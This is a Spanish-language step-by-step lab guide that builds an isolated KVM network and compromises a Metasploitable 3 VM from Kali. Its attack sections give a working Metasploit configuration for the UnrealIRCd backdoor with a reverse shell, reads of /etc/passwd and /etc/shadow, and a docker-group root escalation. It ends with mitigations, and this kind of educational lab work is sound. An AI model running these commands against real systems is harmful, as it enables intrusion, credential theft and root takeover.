R3 — Guía paso a paso: honeypot con Metasploitable 3

Documentación técnica del montaje del laboratorio y del compromiso de la máquina víctima. Siguiendo estos pasos se reproduce todo el proceso de principio a fin.

Entorno: host Debian con virt-manager (libvirt/KVM). **Vulnerabilidad explotada:** UnrealIRCd 3.2.8.1 backdoor — CVE-2010-2075. **Escalada de privilegios:** abuso de pertenencia al grupo `docker`.

Datos del laboratorio:

Elemento	Valor
Atacante	Kali Linux 2026.2 — `192.168.150.46`
Víctima (honeypot)	Metasploitable 3 (Ubuntu 14.04) — `192.168.150.28`
Red	`red-honeypot` — `192.168.150.0/24`, aislada (sin internet)
Almacenamiento	pool `honeypot` en `/home/sergio/vms-honeypot`

Parte 1 — Preparación del almacenamiento

Las imágenes de las máquinas virtuales se guardan en `/home`, que dispone de espacio suficiente, en lugar de la ubicación por defecto `/var/lib/libvirt/images`.

Crear la carpeta de trabajo:

```
mkdir -p /home/sergio/vms-honeypot
```

Definir un pool de almacenamiento de libvirt apuntando a esa carpeta, arrancarlo y activar su inicio automático:

```
sudo virsh pool-define-as honeypot dir --target /home/sergio/vms-honeypot
sudo virsh pool-start honeypot
sudo virsh pool-autostart honeypot
```

Comprobar que el pool está activo:

```
sudo virsh pool-list --all
```

Parte 2 — Red aislada

Se crea una red virtual dedicada y aislada: las máquinas se ven entre sí y reciben IP por DHCP, pero no tienen salida a internet. Esto mantiene el honeypot en un entorno controlado.

Crear el fichero de definición de la red:

```
cat > /tmp/red-honeypot.xml << 'EOF'
<network>
  <name>red-honeypot</name>
  <bridge name="virbr-hpot"/>
  <ip address="192.168.150.1" netmask="255.255.255.0">
    <dhcp>
      <range start="192.168.150.10" end="192.168.150.50"/>
    </dhcp>
  </ip>
</network>
EOF
```

> La ausencia de una línea `<forward>` es lo que hace la red aislada (sin NAT ni salida externa).

Definir, arrancar y activar la red:

```
sudo virsh net-define /tmp/red-honeypot.xml
sudo virsh net-start red-honeypot
sudo virsh net-autostart red-honeypot
```

Comprobar que existe y está activa:

```
sudo virsh net-list --all | grep honeypot
```

Parte 3 — Preparación de la imagen de Metasploitable 3

La imagen oficial de Metasploitable 3 (Ubuntu 14.04) se distribuye como una box de Vagrant para VirtualBox. Se descarga, se extrae el disco VMDK y se convierte a qcow2 para KVM.

Descargar la box a `/home`:

```
cd /home/sergio
curl -L -o metasploitable3-ub1404.box \
  "https://app.vagrantup.com/rapid7/boxes/metasploitable3-
ub1404/versions/0.1.12-weekly/providers/virtualbox.box"
```

Extraer la box (es un fichero tar) y localizar el VMDK:

```
mkdir ms3-extract
tar -xvf metasploitable3-ub1404.box -C ms3-extract
ls -lh ms3-extract/
```

Convertir el disco VMDK a qcow2, dejándolo directamente en el pool:

```
sudo qemu-img convert -p -O qcow2 \
  /home/sergio/ms3-extract/metasploitable3-ub1404-disk001.vmdk \
  /home/sergio/vms-honeypot/metasploitable3.qcow2
```

Verificar la imagen resultante:

```
sudo qemu-img info /home/sergio/vms-honeypot/metasploitable3.qcow2
```

(Opcional) Borrar los ficheros intermedios una vez convertida:

```
rm /home/sergio/metasploitable3-ub1404.box
rm -r /home/sergio/ms3-extract
```

Parte 4 — Preparación de la imagen de Kali

Kali publica una imagen prebuilt para QEMU, ya instalada, que no requiere instalación manual.

Descargar la imagen QEMU a `/home`:

```
cd /home/sergio
curl -L -o kali-qemu.7z \
  "https://cdimage.kali.org/kali-2026.2/kali-linux-2026.2-qemu-amd64.7z"
```

Verificar la integridad de la descarga con su SHA256 oficial:

```
sha256sum kali-qemu.7z
# Debe coincidir con:
# c7c35588d05277c482c908bf7a136d348f76ffa68700b04ff53c0b217e6bd071
```

Instalar 7-Zip si no está disponible y descomprimir dentro del pool:

```
sudo apt install p7zip-full -y
7z x /home/sergio/kali-qemu.7z -o/home/sergio/vms-honeypot/
```

Comprobar el contenido del pool:

```
ls -lh /home/sergio/vms-honeypot/
```

(Opcional) Borrar el comprimido tras extraer:

```
rm /home/sergio/kali-qemu.7z
```

Parte 5 — Creación de las máquinas virtuales

Las dos VMs se crean por línea de comandos con `virt-install`, importando los discos ya preparados (sin instalación). Ambas se conectan a la red aislada `red-honeypot`.

Crear la víctima (Metasploitable 3). El bus de disco **SATA** es necesario porque la imagen procede de VirtualBox:

```
sudo virt-install \
  --name metasploitable3 \
  --memory 2048 \
  --vcpus 2 \
  --os-variant ubuntu14.04 \
  --disk path=/home/sergio/vms-
honeypot/metasploitable3.qcow2,format=qcow2,bus=sata \
  --import \
  --network network=red-honeypot \
  --graphics spice \
  --noautoconsole
```

Crear el atacante (Kali). Aquí el disco usa bus **virtio**, nativo de la imagen QEMU:

```
sudo virt-install \
  --name kali \
  --memory 4096 \
  --vcpus 2 \
  --os-variant debian12 \
  --disk path=/home/sergio/vms-honeypot/kali-linux-2026.2-qemu-
amd64.qcow2,format=qcow2,bus=virtio \
  --import \
  --network network=red-honeypot \
  --graphics spice \
  --noautoconsole
```

Comprobar que ambas están en ejecución:

```
sudo virsh list --all
```

Abrir la consola gráfica de cada una cuando se necesite:

```
sudo virt-viewer metasploitable3
sudo virt-viewer kali
```

Credenciales por defecto:

- Metasploitable 3: usuario `vagrant`, contraseña `vagrant`.
- Kali: usuario `kali`, contraseña `kali`.

Parte 6 — Comprobación de red y acceso SSH

Averiguar las IP asignadas por DHCP (con las dos VMs encendidas):

```
sudo virsh net-dhcp-leases red-honeypot
```

Dentro de cada máquina, ver su IP en la interfaz de la red aislada (`192.168.150.X`):

```
ip a
```

En Kali, el servicio SSH viene parado por defecto. Para poder conectar por SSH, arrancarlo desde dentro de Kali:

```
sudo systemctl enable --now ssh
```

Conexión SSH desde el host a cada máquina:

```
ssh kali@192.168.150.46        # contraseña: kali
ssh vagrant@192.168.150.28     # contraseña: vagrant
```

Comprobar conectividad entre atacante y víctima (desde Kali):

```
ping -c 3 192.168.150.28
```

Parte 7 — Reconocimiento

Desde Kali, escanear la máquina víctima para identificar servicios y versiones.

Escaneo del puerto del servicio objetivo:

```
nmap -sV -p 6697 192.168.150.28
```

El resultado esperado muestra el servicio vulnerable:

```
6697/tcp open  irc  UnrealIRCd
```

(Opcional) Escaneo completo de todos los puertos:

```
nmap -sV -p- 192.168.150.28
```

Parte 8 — Explotación (acceso inicial)

Se explota la puerta trasera de UnrealIRCd 3.2.8.1 (CVE-2010-2075) con Metasploit.

Abrir Metasploit:

```
msfconsole
```

Dentro de la consola de Metasploit, configurar y lanzar el exploit:

```
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.150.28
set RPORT 6697
set payload cmd/unix/reverse_perl
set LHOST 192.168.150.46
run
```

> Importante: escribir las opciones con exactitud (`RPORT`, no `RPOT`; `/:/`, no `/;/`). Antes de `run`, se puede verificar la configuración con `show options`.

Si el ataque tiene éxito, se abre una sesión de shell. Comprobar el acceso obtenido:

```
whoami      # boba_fett
id          # muestra el grupo docker, clave para la escalada
hostname    # ubuntu
```

Mejorar la shell a una TTY interactiva:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Demostrar la lectura de ficheros del sistema:

```
cat /etc/passwd
```

Parte 9 — Escalada de privilegios a root

El usuario `boba_fett` pertenece al grupo `docker`. Como el demonio de Docker se ejecuta con privilegios de root, cualquier miembro de ese grupo puede montar el disco del host dentro de un contenedor y obtener control de root sobre el sistema real.

Ver las imágenes de Docker disponibles localmente (la red es aislada, no se pueden descargar):

```
docker images
```

Arrancar un contenedor que monta el disco del host (`/`) en `/mnt` y hacer `chroot` sobre él, usando una imagen ya descargada (`ubuntu`):

```
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
```

Comprobar que se tiene acceso como root sobre el sistema de la víctima:

```
id          # uid=0(root)
whoami      # root
cat /etc/shadow
```

> Nota sobre las rutas: tras `chroot /mnt`, la raíz `/` de la shell ya es el disco de la víctima. Por tanto, para escribir en la máquina víctima se usan rutas normales (`/home/...`, `/root/...`), **sin** anteponer `/mnt`.

Crear un fichero de prueba en un directorio visible de la víctima:

```
echo "Has sido hackeado por Sergio" > /home/vagrant/HACKEADO.txt
echo "Has sido hackeado por Sergio" > /root/HACKEADO.txt
```

Parte 10 — Verificación de persistencia en el host real

Para demostrar que el control es sobre la máquina real y no solo sobre un contenedor aislado, se comprueba que el fichero creado persiste al salir del contenedor.

Salir del contenedor (se vuelve a la shell de `boba_fett`):

```
exit
```

Leer el fichero ya como `boba_fett` en la máquina víctima real:

```
cat /home/vagrant/HACKEADO.txt
```

Si el contenido aparece, queda demostrado que lo escrito desde el contenedor quedó grabado en el sistema real de la víctima.

Parte 11 — Cierre de sesiones

Salir ordenadamente de todo:

```
exit     # sale de la shell de la víctima (vuelve a Metasploit)
exit     # sale de Metasploit
```

Si una sesión queda en segundo plano (p. ej. tras un `Ctrl+Z` accidental), se recupera con `fg` y se vuelve a entrar en ella con `sessions -i 1` dentro de Metasploit.

Resumen del compromiso

1. **Acceso inicial:** puerta trasera de UnrealIRCd 3.2.8.1 (CVE-2010-2075) → shell como usuario `boba_fett`.
2. **Escalada de privilegios:** abuso del grupo `docker` → root sobre el host.

Medidas de protección

- **UnrealIRCd:** actualizar a una versión limpia y verificada; comprobar siempre la integridad del software descargado (checksums/firmas), ya que el origen del fallo fue una puerta trasera introducida en el código fuente.
- **Grupo docker:** no incluir usuarios normales en el grupo `docker`, porque equivale a concederles privilegios de root.